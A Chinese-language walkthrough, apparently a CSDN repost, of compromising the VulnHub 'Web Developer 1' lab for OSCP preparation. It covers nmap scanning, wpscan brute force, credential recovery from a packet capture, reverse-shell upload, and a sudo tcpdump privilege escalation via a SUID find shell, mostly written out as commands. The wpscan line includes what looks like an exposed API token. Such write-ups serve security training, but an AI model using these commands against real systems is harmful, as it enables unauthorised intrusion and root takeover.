OSCP备考:WebDeveloper靶场渗透测试实战
创作时间:
作者:
@小白创作中心
OSCP备考:WebDeveloper靶场渗透测试实战
引用
CSDN
1.
https://m.blog.csdn.net/2202_75361164/article/details/145786497
本文将介绍OSCP考试中WebDeveloper靶场的渗透测试过程。通过使用nmap进行主机发现和端口扫描,使用wpscan进行WordPress漏洞扫描,通过Wireshark分析流量获取账号密码,以及最终通过sudo和tcpdump实现提权的过程。
前言
难度简单
- 对于低权限shell获取涉及:wpscan使用,wireshark使用,wordpress文件上传
- 对于提权:信息收集+sudo-tcpdump提权
下载地址:
https://www.vulnhub.com/entry/web-developer-1,288/
nmap
主机发现
└─# nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 23:31 CST
Nmap scan report for 10.10.10.1
Host is up (0.0016s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.143
Host is up (0.00039s latency).
MAC Address: 00:0C:29:82:FC:35 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00015s latency).
MAC Address: 00:50:56:EC:1C:32 (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.97 seconds
端口扫描
└─# nmap --min-rate 10000 -p- 10.10.10.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 23:31 CST
Nmap scan report for 10.10.10.143
Host is up (0.00088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:82:FC:35 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 35.23 seconds
└─# nmap --min-rate 10000 -p- 10.10.10.143 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 23:32 CST
Warning: 10.10.10.143 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.143
Host is up (0.0012s latency).
All 65535 scanned ports on 10.10.10.143 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
MAC Address: 00:0C:29:82:FC:35 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.89 seconds
详细端口扫描
└─# nmap -sV -sT -sC -O -p22,80 10.10.10.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 23:36 CST
Nmap scan report for 10.10.10.143
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
| 256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 4.9.8
|_http-title: Example site – Just another WordPress site
MAC Address: 00:0C:29:82:FC:35 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds
信息收集
web,80
发现是wordpress
网页标题这里说是另一个网站
目录扫描
发现一个不一样的路由,进入之后下载了一个.cap文件,等下可以用
wireshark
分析一下
漏洞利用
wpscan用户名枚举
wpscan --url http://10.10.10.137/ -e u
得到一个用户名
webdeveloper
进行密码爆破

wpscan --url http://10.10.10.143/ -U webdeveloper -P /usr/share/wordlists/rockyou.txt -t 30 --api-token jVg0FHFXO21oRJ3Tv9sxqYepnXAeql6qooSQfObKysQ
爆破了差不多半个小时,没有成功
流量分析得到账号密码
分析
/home/kali/桌面/测试/analyze.cap
指定POST请求,并且指定
/wp-login.php
http.request.method=="POST"
得到账号和密码
不过之前得到了账号,其实直接搜索就可以了
Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd
url解密一下,得到账号密码
webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd
上传反弹shell脚本
登录之后上面反弹shell脚本
上传到了
/uploads
目录下面
获取shell
提权
创建交互式shell环境
python -c 'improt pty; pty.spawn("/bin/bash")'
发现没有python环境也没有socat,使用script吧
script /dev/null
内核比较高,随便尝试了一下内核提权就放弃了
在wordpress的配置文件得到mysql账号和密码
/var/www/html/wp-config.php
/** MySQL database username */
define('DB_USER', 'webdeveloper');
/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');
sudo,tcpdump提权
成功切换用户,
sudo -l
发现
tcpdump
[[sudo提权#sudo+tcpdump提权]]
tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的
使用tcpdump命令,给find程序赋SID权限
echo "chmod u+s /usr/bin/find"> /tmp/shell.sh
chmod +x /tmp/shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
利用find命令获得root权限的交互shell
find . -exec /bin/sh -p \; -quit
获取root权限
热门推荐
2025春节档预售破亿:电影如何映射社会变迁?
程序员必备:五个简单动作告别背部疼痛
这些瑜伽姿势拯救你的右后背!
抑郁症、焦虑症:如何缓解右后背疼痛?
右后背疼?当心是肺炎在作怪!
属蛇避开几月的虎,生肖婚配指南
宁波三景:老外滩、天一阁、蒋氏故里的文化之旅
2025央视春晚无锡分会场:一场古今穿越的水韵之旅
2025央视春晚无锡分会场:一场从争议到团结的欢乐盛宴
从无锡春晚看吴文化的传承与发展
杭州周边自驾游必打卡:朱家角古镇&安吉
乌镇自驾游:江南水乡的绝美体验
谷维素,不是维生素!七大功效用途多,服用时应注意什么?
富豪明星都爱住的上海半岛酒店揭秘
金华宝藏打卡:双龙洞&磐安花溪二日游攻略
婺州古城:千年古城里的文化寻踪
金华两日游:打卡网红景点,吃遍地道美食!
金华新晋网红打卡地全攻略:5A景区、祈福胜地、特色美食一网打尽
白雀与凤凰:谁才是真正的吉祥之王?
宇宙飞船首航:开启人类探索星辰大海的壮丽旅程
秋日婺源:江岭油菜花海与篁岭晒秋美景
婺源古村晒秋,绝美风景不容错过!
秋日婺源红叶摄影指南:拍出绝美大片!
上百“钓鱼佬”聚集深圳湾,禁渔区成了海钓“一条街”?
可以空腹吃的水果有哪些
40岁以上男性食用苹果需谨慎:果酸含量或致胃部不适
赵本山新剧来袭!带你感受地道东北风情
衢州孔氏南宗家庙:近900年文化传承焕发新活力
衢州三日游:打卡南孔圣地和江郎山
衢州孔庙扩容升级,水亭门历史文化街区玩出新花样